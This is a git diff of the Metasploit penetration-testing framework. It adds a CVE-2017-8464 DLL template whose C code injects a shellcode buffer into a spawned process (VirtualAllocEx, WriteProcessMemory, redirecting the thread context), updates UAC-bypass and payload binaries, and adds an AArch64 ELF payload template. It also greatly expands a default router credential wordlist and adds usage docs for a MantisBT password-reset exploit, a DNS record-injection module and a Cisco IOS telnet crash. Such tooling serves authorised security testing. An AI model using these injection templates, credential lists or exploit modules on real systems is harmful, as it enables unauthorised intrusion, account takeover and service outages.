{ + ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL; + GetThreadContext(pi.hThread, &ctx); + + ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0); + +#ifdef _WIN64 + ctx.Rip = (DWORD64)ep; +#else + ctx.Eip = (DWORD)ep; +#endif + + SetThreadContext(pi.hThread, &ctx); + ResumeThread(pi.hThread); + + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + + CloseHandle(hMutex); +} + diff --git a/data/exploits/cve-2017-8464/src/template.def b/data/exploits/cve-2017-8464/src/template.def new file mode 100644 index 0000000000..f5c3655fd4 --- /dev/null +++ b/data/exploits/cve-2017-8464/src/template.def @@ -0,0 +1,3 @@ +EXPORTS +DllMain@12 + diff --git a/data/exploits/cve-2017-8464/src/template.h b/data/exploits/cve-2017-8464/src/template.h new file mode 100644 index 0000000000..7a674c3006 --- /dev/null +++ b/data/exploits/cve-2017-8464/src/template.h @@ -0,0 +1,3 @@ +#define SCSIZE 2048 +unsigned char code[SCSIZE] = "PAYLOAD:"; + diff --git a/data/exploits/cve-2017-8464/src/template.rc b/data/exploits/cve-2017-8464/src/template.rc new file mode 100644 index 0000000000..5f59aa4fbf --- /dev/null +++ b/data/exploits/cve-2017-8464/src/template.rc @@ -0,0 +1,18 @@ + +LANGUAGE 9, 1 + + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 0,0,0,1 + PRODUCTVERSION 0,0,0,1 + FILEFLAGSMASK 0x17L + FILEFLAGS 0x0L + FILEOS 0x4L + FILETYPE 0x2L + FILESUBTYPE 0x0L +BEGIN + +END + +#define RT_HTML 23 + diff --git a/data/exploits/cve-2017-8464/template_x64_windows.dll b/data/exploits/cve-2017-8464/template_x64_windows.dll new file mode 100755 index 0000000000..40958f8986 Binary files /dev/null and b/data/exploits/cve-2017-8464/template_x64_windows.dll differ diff --git a/data/exploits/cve-2017-8464/template_x86_windows.dll b/data/exploits/cve-2017-8464/template_x86_windows.dll new file mode 100755 index 0000000000..b95dfe5232 Binary files /dev/null and b/data/exploits/cve-2017-8464/template_x86_windows.dll differ diff --git a/data/exploits/psnuffle/smb.rb b/data/exploits/psnuffle/smb.rb index c1702d51fd..31278994f7 100755 --- a/data/exploits/psnuffle/smb.rb +++ b/data/exploits/psnuffle/smb.rb @@ -88,7 +88,7 @@ class SnifferSMB < BaseProtocolParser return "NTLMv1" end else - raise RuntimeError, "Unknow hash type" + raise RuntimeError, "Unknown hash type" end end diff --git a/data/logos/3kom-superhack.txt b/data/logos/3kom-superhack.txt index 7041d227b2..484893d9e1 100644 --- a/data/logos/3kom-superhack.txt +++ b/data/logos/3kom-superhack.txt @@ -15,5 +15,5 @@ | %bld[ OK ]%clr | |______________________________________________________________________________| | | -| http://metasploit.com | +| https://metasploit.com | |______________________________________________________________________________|%clr diff --git a/data/logos/metasploit-shield.txt b/data/logos/metasploit-shield.txt index 81fc1d123c..4656c1d31d 100644 --- a/data/logos/metasploit-shield.txt +++ b/data/logos/metasploit-shield.txt @@ -18,4 +18,4 @@ %bluMMMMMMMMMMNm,%clr %blueMMMMMNMMNMM%clr %bluMMMMNNMNMMMMMNx%clr %bluMMMMMMNMMNMMNM%clr %bluMMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM%clr -%clr%bld http://metasploit.com +%clr%bld https://metasploit.com diff --git a/data/logos/missile-command.txt b/data/logos/missile-command.txt index e426174ad5..7acabd2b57 100644 --- a/data/logos/missile-command.txt +++ b/data/logos/missile-command.txt @@ -27,4 +27,4 @@ ################################################################################ # %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr # ################################################################################ - http://metasploit.com%clr + https://metasploit.com%clr diff --git a/data/logos/ninja.txt b/data/logos/ninja.txt index c5efa481d5..69aaf74904 100644 --- a/data/logos/ninja.txt +++ b/data/logos/ninja.txt @@ -27,4 +27,4 @@ # # ### # # ## ######################## ## ## ## ## - http://metasploit.com%clr + https://metasploit.com%clr diff --git a/data/logos/r7-metasploit.txt b/data/logos/r7-metasploit.txt index 75ad39f706..daae920261 100644 --- a/data/logos/r7-metasploit.txt +++ b/data/logos/r7-metasploit.txt @@ -1,7 +1,7 @@ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% % %%%%%%%% %%%%%%%%%%% http://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%% +%% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%% %% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% diff --git a/data/logos/wake-up-neo.txt b/data/logos/wake-up-neo.txt index 66e43bd1c0..f2fed84db9 100644 --- a/data/logos/wake-up-neo.txt +++ b/data/logos/wake-up-neo.txt @@ -23,4 +23,4 @@ ; ,''-,;' ``- ``-..__``--` - http://metasploit.com%clr + https://metasploit.com%clr diff --git a/data/markdown_doc/auxiliary_scanner_template.erb b/data/markdown_doc/auxiliary_scanner_template.erb index 409a7c9970..e7adc934f9 100644 --- a/data/markdown_doc/auxiliary_scanner_template.erb +++ b/data/markdown_doc/auxiliary_scanner_template.erb @@ -8,7 +8,7 @@ msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS ip-range msf <%= mod.type %>(<%= mod.shortname %>) > exploit ``` -Other examples of setting the RHSOTS option: +Other examples of setting the RHOSTS option: Example 1: diff --git a/data/msfcrawler/basic.rb b/data/msfcrawler/basic.rb index 30199410a1..fb1fd2953e 100644 --- a/data/msfcrawler/basic.rb +++ b/data/msfcrawler/basic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/data/msfcrawler/comments.rb b/data/msfcrawler/comments.rb index e632eed46b..85d4b9bb97 100644 --- a/data/msfcrawler/comments.rb +++ b/data/msfcrawler/comments.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/data/msfcrawler/forms.rb b/data/msfcrawler/forms.rb index 202b2d00e7..1903e990da 100644 --- a/data/msfcrawler/forms.rb +++ b/data/msfcrawler/forms.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/data/msfcrawler/frames.rb b/data/msfcrawler/frames.rb index 5e7c4d31e6..a693f69bfc 100644 --- a/data/msfcrawler/frames.rb +++ b/data/msfcrawler/frames.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/data/msfcrawler/image.rb b/data/msfcrawler/image.rb index 8536a6c4ea..c1da49fe96 100644 --- a/data/msfcrawler/image.rb +++ b/data/msfcrawler/image.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/data/msfcrawler/link.rb b/data/msfcrawler/link.rb index d3ccf1242a..b6c2ebba3d 100644 --- a/data/msfcrawler/link.rb +++ b/data/msfcrawler/link.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/data/msfcrawler/objects.rb b/data/msfcrawler/objects.rb index 44e4bc9ad0..2e325564da 100644 --- a/data/msfcrawler/objects.rb +++ b/data/msfcrawler/objects.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/data/msfcrawler/scripts.rb b/data/msfcrawler/scripts.rb index 4acfcd5d72..32d39055a1 100644 --- a/data/msfcrawler/scripts.rb +++ b/data/msfcrawler/scripts.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/data/post/bypassuac-x64.dll b/data/post/bypassuac-x64.dll index dd57a3cbe3..d002a7b929 100755 Binary files a/data/post/bypassuac-x64.dll and b/data/post/bypassuac-x64.dll differ diff --git a/data/post/bypassuac-x86.dll b/data/post/bypassuac-x86.dll index b5a5969ef9..10a85ed408 100755 Binary files a/data/post/bypassuac-x86.dll and b/data/post/bypassuac-x86.dll differ diff --git a/data/templates/scripts/to_powershell.hta.template b/data/templates/scripts/to_powershell.hta.template index 87083d9205..39c7d671b3 100644 --- a/data/templates/scripts/to_powershell.hta.template +++ b/data/templates/scripts/to_powershell.hta.template @@ -1,8 +1,12 @@ diff --git a/data/templates/src/elf/exe/elf_aarch64_template.s b/data/templates/src/elf/exe/elf_aarch64_template.s new file mode 100755 index 0000000000..7b0d1553fc --- /dev/null +++ b/data/templates/src/elf/exe/elf_aarch64_template.s @@ -0,0 +1,41 @@ +; build with: +; nasm elf_aarch64_template.s -f bin -o template_aarch64_linux.bin + + +BITS 64 +org 0 +ehdr: ; Elf32_Ehdr + db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 ; + dw 2 ; e_type = ET_EXEC for an executable + dw 0xB7 ; e_machine = AARCH64 + dd 0 ; e_version + dq _start ; e_entry + dq phdr - $$ ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw phdrsize ; e_phentsize + dw 1 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +ehdrsize equ $ - ehdr + +phdr: ; Elf32_Phdr + dd 1 ; p_type = PT_LOAD + dd 7 ; p_flags = rwx + dq 0 ; p_offset + dq $$ ; p_vaddr + dq $$ ; p_paddr + dq 0xDEADBEEF ; p_filesz + dq 0xDEADBEEF ; p_memsz + dq 0x1000 ; p_align + +phdrsize equ $ - phdr + +global _start + +_start: + diff --git a/data/templates/template_aarch64_linux.bin b/data/templates/template_aarch64_linux.bin new file mode 100644 index 0000000000..c9fb24dd44 Binary files /dev/null and b/data/templates/template_aarch64_linux.bin differ diff --git a/data/templates/template_x64_windows_dccw_gdiplus.dll b/data/templates/template_x64_windows_dccw_gdiplus.dll index fd4bbb9830..4257f09521 100755 Binary files a/data/templates/template_x64_windows_dccw_gdiplus.dll and b/data/templates/template_x64_windows_dccw_gdiplus.dll differ diff --git a/data/templates/template_x86_windows_dccw_gdiplus.dll b/data/templates/template_x86_windows_dccw_gdiplus.dll index 86be7f362d..f881412ee2 100755 Binary files a/data/templates/template_x86_windows_dccw_gdiplus.dll and b/data/templates/template_x86_windows_dccw_gdiplus.dll differ diff --git a/data/webcam/answerer.html b/data/webcam/answerer.html index 13542c299d..45fd6057da 100644 --- a/data/webcam/answerer.html +++ b/data/webcam/answerer.html @@ -188,7 +188,7 @@ \ No newline at end of file diff --git a/data/webcam/offerer.html b/data/webcam/offerer.html index eaa58ebbcf..cdf695b516 100644 --- a/data/webcam/offerer.html +++ b/data/webcam/offerer.html @@ -195,7 +195,7 @@ diff --git a/data/wordlists/routers_userpass.txt b/data/wordlists/routers_userpass.txt index 4b35db7811..ba1d1a80cb 100644 --- a/data/wordlists/routers_userpass.txt +++ b/data/wordlists/routers_userpass.txt @@ -1,70 +1,100 @@ -root +ADMINISTRATOR ADMINISTRATOR +ADMN admn +Admin admin +Administrator +Administrator 3ware +Administrator admin +Administrator changeme +Administrator ganteng +Administrator letmein +Administrator password +Administrator pilou +Administrator smcadmin +Any 12345 +CSG SESAME +Cisco Cisco +D-Link D-Link +DTA TJM +GEN1 gen1 +GEN2 gen2 +GlobalAdmin GlobalAdmin +HTTP HTTP +IntraStack Asante +IntraSwitch Asante +JDE JDE +LUCENT01 UI-PSWD-01 +LUCENT02 UI-PSWD-02 +MDaemon MServer +MICRO RSX +Manager Manager +Manager friend +NAU NAU +NETWORK NETWORK +NICONEX NICONEX +PBX PBX +PFCUser 240653C9467E45 +PRODDTA PRODDTA +PSEAdmin $secure$ +PlcmSpIp PlcmSpIp +Polycom SpIp +RMUser1 password +SYSADM sysadm +Sweex Mysweex +USERID PASSW0RD +User Password +VNC winterm +VTech VTech +ZXDSL ZXDSL +acc acc +adfexc adfexc +adm admin -guest -root root -root password -root 1234 -root 12345 -root 123456 -root 3ep5w2u -root admin -root Admin -root admin_1 -root alpine -root ascend -root attack -root blender -root calvin -root changeme -root Cisco -root cms500 -root davox -root default -root fivranne -root ggdaseuaimhrke -root iDirect -root letacla -root Mau'dib -root pass -root permit -root ROOT500 -root tini -root tslinux -root wyse -ro ro -router router -rwa rwa -rw rw -ubnt ubnt -guest guest -guest User admin 0 admin 0000 admin 1111 +admin 11111111 admin 123 admin 1234 admin 123456 +admin 1234567890 admin 1234admin admin 2222 admin 22222 -admin2 changeme admin 3477 admin 3ascotel +admin 7ujMko0admin +admin 7ujMko0vizxv admin 9999 +admin Admin +admin AitbISP4eCiG +admin Ascend +admin BRIDGE +admin Intel +admin MiniAP +admin NetCache +admin NetICs +admin OCS +admin P@55w0rd! +admin PASSWORD +admin Protector +admin SMDR +admin SUPER +admin Symbol +admin TANDBERG +admin _Cisco admin access admin admin -admin Admin -Admin admin +admin admin117.35.97.74 admin admin123 +admin admin1234 +admin administrator admin adminttd admin adslolitec admin adslroot admin adtran -admin AitbISP4eCiG admin articon admin asante admin ascend -admin Ascend admin asd admin atc123 admin atlantis @@ -72,11 +102,9 @@ admin backdoor admin barricade admin barricadei admin bintec -admin BRIDGE admin cableroot admin changeme admin cisco -admin _Cisco admin comcomcom admin conexant admin default @@ -84,96 +112,79 @@ admin diamond admin enter admin epicrouter admin extendnet +admin fliradmin admin giraff admin hagpolm1 admin hello admin help admin hp.com -admin Intel admin ironport admin isee -acc acc -adfexc adfexc -adm +admin jvc admin kont2004 admin letmein admin leviton admin linga +admin meinsma +admin michaelangelo admin michelangelo admin microbusiness -admin MiniAP admin motorola admin mu admin my_DEMARC admin netadmin -admin NetCache -admin NetICs admin noway -admin OCS +admin oelinux123 admin operator -admin P@55w0rd! -admin password admin p-assword -admin PASSWORD +admin pass +admin password admin passwort admin pento admin pfsense admin private -admin Protector admin public admin pwp admin radius admin rmnetlm admin root admin secure +admin service admin setup admin sitecom admin smallbusiness admin smcadmin -admin SMDR admin speedxess -admin SUPER admin superuser +admin support admin switch -admin Symbol admin synnet admin sysAdmin admin system -admin TANDBERG +admin tech +admin ubnt admin visual admin w2402 -admin xad$|#12 +admin wbox admin xad$l#12 +admin xad$|#12 admin zoomadsl -system change_on_install -system/manager sys/change_on_install -system password -system sys +admin2 changeme +administrator administrator +administrator changeme +adminstat OCS +adminstrator changeme adminttd adminttd adminuser OCS adminview OCS -adminstat OCS -adminstrator changeme -Administrator 3ware -Administrator admin -administrator administrator -ADMINISTRATOR ADMINISTRATOR -administrator changeme -Administrator changeme -Administrator ganteng -Administrator letmein -Administrator password -Administrator pilou -Administrator smcadmin -ADMN admn +alpine alpine ami -anonymous any@ anonymous Exabyte -Any 12345 +anonymous any@ apc apc at4400 at4400 -bbsd-client changeme2 bbsd-client NULL +bbsd-client changeme2 bciim bciimpw bcim bcimpw bcms bcmspw @@ -191,7 +202,6 @@ cellit cellit cgadmin cgadmin cisco cisco cisco -Cisco Cisco citel citel client client cmaker cmaker @@ -201,15 +211,19 @@ craft craft craft craft craftpw craft crftpw -CSG SESAME cusadmin highspeed cust custpw customer customer none dadmin dadmin01 +daemon davox davox debug d.e.b.u.g debug synnet +default +default antslq +default default +default password deskalt password deskman changeme desknorm password @@ -220,41 +234,39 @@ dhs3pms dhs3pms diag danger diag switch disttech 4tas -D-Link D-Link draytek 1234 -DTA TJM e250 e250changeme e500 e500changeme -echo echo echo User +echo echo enable eng engineer enquiry enquirypw field support -GEN1 gen1 -GEN2 gen2 -GlobalAdmin GlobalAdmin +guest +guest 1111 +guest 12345 +guest 123456 +guest User +guest guest +guest xc3511 halt tlah helpdesk OCS hsa hsadb hscroot abc123 -HTTP HTTP hydrasna iclock timely images images inads inads inads indspw init initpw -installer installer install llatsni install secret +installer installer intel intel intermec intermec intermec intermec1QTPS -IntraStack Asante -IntraSwitch Asante jagadmin -JDE JDE kermit kermit l2 l2 l3 l3 @@ -266,8 +278,6 @@ login access login admin login password lp lp -LUCENT01 UI-PSWD-01 -LUCENT02 UI-PSWD-02 m1122 m1122 mac maint maint @@ -278,50 +288,41 @@ manage !manage manager admin manager change_on_install manager friend -Manager friend manager manager -Manager Manager manager sys manuf xxyyzz -MDaemon MServer mediator mediator -MICRO RSX +mg3500 merlin mlusr mlusr monitor monitor +mother fucker mtch mtch mtcl mtcl mtcl naadmin naadmin -NAU NAU netangr attack netman netman netman netopia netopia netrangr attack netscreen netscreen -NETWORK NETWORK -NICONEX NICONEX nms nmspw nokai nokai nokia nokia none 0 none admin -operator -operator 1234 -operator $chwarzepumpe -operator operator op op op operator +operator +operator $chwarzepumpe +operator 1234 +operator operator +oracle oracle patrol patrol -PBX PBX -PFCUser 240653C9467E45 piranha piranha piranha q pmd poll tech -Polycom SpIp -PRODDTA PRODDTA -PSEAdmin $secure$ public public public radware radware @@ -331,7 +332,89 @@ readonly lucenttech2 readwrite lucenttech1 recovery recovery replicator replicator -RMUser1 password +ro ro +root +root 000000 +root 1111 +root 1234 +root 12345 +root 123456 +root 1234567890 +root 1234qwer +root 123qwe +root 1q2w3e4r5 +root 3ep5w2u +root 54321 +root 666666 +root 7ujMko0admin +root 7ujMko0vizxv +root 888888 +root Admin +root Cisco +root GMB182 +root LSiuY7pOmZG2s +root Mau'dib +root PASSWORD +root ROOT500 +root Serv4EMC +root Zte521 +root abc123 +root admin +root admin1234 +root admin_1 +root ahetzip8 +root alpine +root anko +root antslq +root ascend +root attack +root avtech +root b120root +root bananapi +root blender +root calvin +root changeme +root cms500 +root comcom +root coolphoenix579 +root davox +root default +root dreambox +root fivranne +root ggdaseuaimhrke +root hi3518 +root iDirect +root ikwb +root ikwd +root jauntech +root juantech +root jvbzd +root klv123 +root klv1234 +root letacla +root maxided +root oelinux123 +root openssh +root openvpnas +root orion99 +root pa55w0rd +root pass +root password +root permit +root realtek +root root +root tini +root tslinux +root user +root vizxv +root wyse +root xc3511 +root xmhdipc +root zlxx. +root zte9x15 +router router +rw rw +rwa rwa sa scmadmin scmchangeme scout scout @@ -346,44 +429,55 @@ smc smcadmin spcl 0 storwatch specialist stratacom stratauser +su super super 5777364 +super super +super surt +super.super +super.super master superadmin secret superman 21241036 superman talent -super super -super.super -super.super master -super surt superuser superuser 123456 superuser admin supervisor PlsChgMe! supervisor PlsChgMe1 supervisor supervisor +supervisor zyad1234 +support 123 +support 1234 +support 12345 +support 123456 +support admin support h179350 +support login support support support supportpw -su super -Sweex Mysweex +support zlxx. +sys uplink sysadm Admin +sysadm PASS sysadm anicust +sysadm sysadm sysadmin PASS sysadmin password sysadmin sysadmin -sysadm PASS -sysadm sysadm -SYSADM sysadm -sys uplink +system change_on_install +system password +system sys +system/manager sys/change_on_install target password teacher password tech tech ANYCOM -tech field tech ILMI +tech field tech tech telco telco telecom telecom tellabs tellabs#1 +telnet telnet temp1 password test test tiara tiaranet @@ -391,19 +485,17 @@ tiger tiger123 topicalt password topicnorm password topicres password +ubnt ubnt user -USERID PASSW0RD +user 123456 user pass user password -User Password user public user tivonpw user user vcr NetVCR -VNC winterm volition volition vt100 public -VTech VTech webadmin 1234 webadmin webadmin websecadm changeme @@ -412,4 +504,3 @@ wradmin trancell write private xd xd xxx cascade -ZXDSL ZXDSL diff --git a/docker-compose.yml b/docker-compose.yml index e966e8dcac..0f433b31fe 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -4,7 +4,7 @@ services: image: metasploit build: context: . - dockerfile: ./docker/Dockerfile + dockerfile: ./Dockerfile environment: DATABASE_URL: postgres://postgres@db:5432/msf links: diff --git a/docker/bin/msfvenom b/docker/bin/msfvenom index 2b12210b4f..3efc05168d 100755 --- a/docker/bin/msfvenom +++ b/docker/bin/msfvenom @@ -17,5 +17,9 @@ if [[ -z "$MSF_PATH" ]]; then MSF_PATH=$(dirname $(dirname $path)) fi +if [[ -n "$MSF_BUILD" ]]; then + docker-compose -f $MSF_PATH/docker-compose.yml build +fi + cd $MSF_PATH docker-compose run --rm --service-ports ms ./msfvenom "$@" diff --git a/docker/bin/msfvenom-dev b/docker/bin/msfvenom-dev new file mode 100755 index 0000000000..32b1049748 --- /dev/null +++ b/docker/bin/msfvenom-dev @@ -0,0 +1,26 @@ +#! /bin/bash + +if [[ -z "$MSF_PATH" ]]; then + path=`dirname $0` + + # check for ./docker/msfconsole.rc + if [[ ! -f $path/../msfconsole.rc ]] ; then + + # we are not inside the project + realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;} + + # determine script path + pushd $(dirname $(realpath $0)) > /dev/null + path=$(pwd) + popd > /dev/null + fi + MSF_PATH=$(dirname $(dirname $path)) +fi + +cd $MSF_PATH + +if [[ -n "$MSF_BUILD" ]]; then + docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml build +fi + +docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml run --rm --service-ports ms ./msfvenom "$@" diff --git a/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md b/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md index b52fa70223..0c31240ea7 100644 --- a/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md +++ b/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md @@ -14,9 +14,9 @@ Naturally, audio should be cranked to 11 before running this module. The YouTube video to be played. Defaults to [kxopViU98Xo](https://www.youtube.com/watch?v=kxopViU98Xo) -## Sample Output +## Scenarios -Of note, this was played on a 1st generation Google Chromecast (USB stick looking, not circular) +### 1st generation Google Chromecast (USB stick looking, not circular) ``` msf > auxiliary/admin/chromecast/chromecast_youtube diff --git a/documentation/modules/auxiliary/admin/dns/dns_dyn_update.md b/documentation/modules/auxiliary/admin/dns/dns_dyn_update.md new file mode 100644 index 0000000000..6e34452c26 --- /dev/null +++ b/documentation/modules/auxiliary/admin/dns/dns_dyn_update.md @@ -0,0 +1,30 @@ +# Dynamic DNS Update Injection + +`dyn_dns_update` module allows adding or deleting DNS records +on a DNS server that allows unrestricted dynamic updates. + +## Vulnerable Application + +Any DNS server that allows dynamic update for none trusted source IPs. + +## Verification Steps + + 1. Start msfconsole + 2. Do: ```auxiliary/scanner/dns/dyn_dns_update``` + 3. Do: ```set DOMAIN [IP]``` + 4. Do: ```set NS [IP]``` + 5. Do: ```set INJECTDOMAIN [IP]``` + 6. Do: ```set INJECTIP [IP]``` + 7. Do: ```set ACTION ADD``` + 8. Do: ```run``` + +## Actions + +There are two kind of actions the module can run: + + 1. **ADD** - Add a new record. [Default] + 2. **DEL** - Delete an existing record. + +## Targeting Information + +WPAD may not work with Windows 2008+ targets due to a DNS block list: https://technet.microsoft.com/en-us/library/cc995261.aspx diff --git a/documentation/modules/auxiliary/admin/http/mantisbt_password_reset.md b/documentation/modules/auxiliary/admin/http/mantisbt_password_reset.md new file mode 100644 index 0000000000..92d8f908e3 --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/mantisbt_password_reset.md @@ -0,0 +1,30 @@ +## Vulnerable Application + +MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded +on +[Sourceforge](https://sourceforge.net/projects/mantisbt/files/mantis-stable/). + +## Verification Steps + + 1. Install the vulnerable software + 2. Start msfconsole + 3. Do: ```use auxiliary/admin/http/mantisbt_password_reset``` + 4. Do: ```set rhost``` + 5. Do: ```run``` + 6. If the system is vulnerable, the module should tell you that the password + was successfully changed. + +## Scenarios + + ``` + msf > use auxiliary/admin/http/mantisbt_password_reset + msf auxiliary(mantisbt_password_reset) > set rport 8082 + rport => 8082 + msf auxiliary(mantisbt_password_reset) > set rhost 127.0.0.1 + rhost => 127.0.0.1 + msf auxiliary(mantisbt_password_reset) > run + + [+] Password successfully changed to 'ndOQTmhQ'. + [*] Auxiliary module execution completed + msf auxiliary(mantisbt_password_reset) > + ``` diff --git a/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md b/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md index db767d338b..0ad574b540 100644 --- a/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md +++ b/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md @@ -27,7 +27,7 @@ 7. You should get credentials -## Sample Output +## Scenarios ``` [+] 172.16.191.166:8080 Authenticated successfully as 'admin' diff --git a/documentation/modules/auxiliary/admin/http/zabbix_ldap_password_extractor.md b/documentation/modules/auxiliary/admin/http/zabbix_ldap_password_extractor.md new file mode 100644 index 0000000000..e69de29bb2 diff --git a/documentation/modules/auxiliary/client/hwbridge/connect.md b/documentation/modules/auxiliary/client/hwbridge/connect.md index cafde81198..c41c1a2abc 100644 --- a/documentation/modules/auxiliary/client/hwbridge/connect.md +++ b/documentation/modules/auxiliary/client/hwbridge/connect.md @@ -28,13 +28,14 @@ Bluetooth HWBridge adapters, depending on the Operating System, may take several The following steps were [recorded during the testing of this module](https://github.com/rapid7/metasploit-framework/pull/7795#issuecomment-274302326) on setting up the [BAFX 34t5](https://bafxpro.com/products/obdreader) with Kali Linux 2016.2 (rolling). -1. Ensure no locks on the Bluetooth device via: `rfkill list` (and subsequent `unblock` commands) -2. Make sure Bluetooth service is started: `/etc/init.d/bluetooth start`, or `bluetoothd` -3. Start bluetoothctl: `bluetoothctl` -4. Turn on scanning: `scan on` -5. Turn on agent: `agent on` -6. Make sure we can see OBDII: `devices` -7. Attempt to pair: `[bluetooth]# pair 00:0D:18:AA:AA:AA` +1. Most Bluetooth HWBridge adapters, speak serial. So you will need to get the ruby gem "serialport": ```gem install serialport``` +2. Ensure no locks on the Bluetooth device via: `rfkill list` (and subsequent `unblock` commands) +3. Make sure Bluetooth service is started: `/etc/init.d/bluetooth start`, or `bluetoothd` +4. Start bluetoothctl: `bluetoothctl` +5. Turn on scanning: `scan on` +6. Turn on agent: `agent on` +7. Make sure we can see OBDII: `devices` +8. Attempt to pair: `[bluetooth]# pair 00:0D:18:AA:AA:AA` ``` Attempting to pair with 00:0D:18:AA:AA:AA diff --git a/documentation/modules/auxiliary/dos/cisco/ios_telnet_rocem.md b/documentation/modules/auxiliary/dos/cisco/ios_telnet_rocem.md new file mode 100644 index 0000000000..a4d2e159f4 --- /dev/null +++ b/documentation/modules/auxiliary/dos/cisco/ios_telnet_rocem.md @@ -0,0 +1,161 @@ +## Vulnerable Application + + 1. Obtain a Cisco switch of any model indicated here that is running vulnerable firmware: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp. Note that the vulnerability spans many years. We tested two firmwares 10 years apart and were able to verify exploitability. + 2. Enable telnet access and verify that you can reach the switch normally via that mode. + +## Verification Steps + + 1. Start msfconsole + 2. Do: `use auxiliary/dos/cisco/ios_telnet_rocem` + 3. Do: `set RHOST 192.168.1.10` + 4. Do: ```run``` + 5. The switch should restart and display crash information on the console. + +## Scenarios + +``` +Switch#sh ver +*Mar 1 01:28:01.802: %SYS-5-CONFIG_I: Configured from console by console +Cisco IOS Software, C3750 Software (C3750-IPBASEK9-M), Version 12.2(53)SE2, RELEASE SOFTWARE (fc3) +Technical Support: http://www.cisco.com/techsupport +Copyright (c) 1986-2010 by Cisco Systems, Inc. +Compiled Wed 21-Apr-10 04:49 by prod_rel_team +Image text-base: 0x01000000, data-base: 0x02C00000 +ROM: Bootstrap program is C3750 boot loader +BOOTLDR: C3750 Boot Loader (C3750-HBOOT-M) Version 12.2(44)SE5, RELEASE SOFTWARE (fc1) +Switch uptime is 1 hour, 28 minutes +System returned to ROM by power-on +System image file is "flash:/c3750-ipbasek9-mz.122-53.SE2/c3750-ipbasek9-mz.122-53.SE2.bin" +[...] +cisco WS-C3750-48TS (PowerPC405) processor (revision M0) with 131072K bytes of memory. +Processor board ID CAT1017Z2Z2 +Last reset from power-on +1 Virtual Ethernet interface +48 FastEthernet interfaces +4 Gigabit Ethernet interfaces +The password-recovery mechanism is enabled. +[...] +Cisco IOS Software, C3750 Software (C3750-IPSERVICESK9-M), Version 12.2(55)SE10, RELEASE SOFTWARE (fc2) +Technical Support: http://www.cisco.com/techsupport +Copyright (c) 1986-2015 by Cisco Systems, Inc. +Compiled Wed 11-Feb-15 11:40 by prod_rel_team +Image text-base: 0x01000000, data-base: 0x02F00000 +[...] +Election Complete +Switch 2 